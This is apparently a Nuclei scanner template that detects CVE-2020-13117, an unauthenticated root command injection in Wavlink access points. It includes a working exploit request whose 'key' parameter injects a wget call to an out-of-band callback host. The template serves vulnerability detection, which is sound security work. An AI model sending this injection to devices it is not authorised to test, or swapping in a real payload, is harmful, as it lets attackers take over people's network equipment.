id: CVE-2020-13117 info: name: Wavlink Multiple AP - Unauthenticated RCE author: gy741 severity: critical description: Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected. reference: - https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html tags: cve,cve2020,wavlink,rce,oast classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.80 cve-id: CVE-2020-13117 cwe-id: CWE-77 requests: - raw: - | POST /cgi-bin/login.cgi HTTP/1.1 Host: {{Hostname}} Origin: http://{{Hostname}} Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"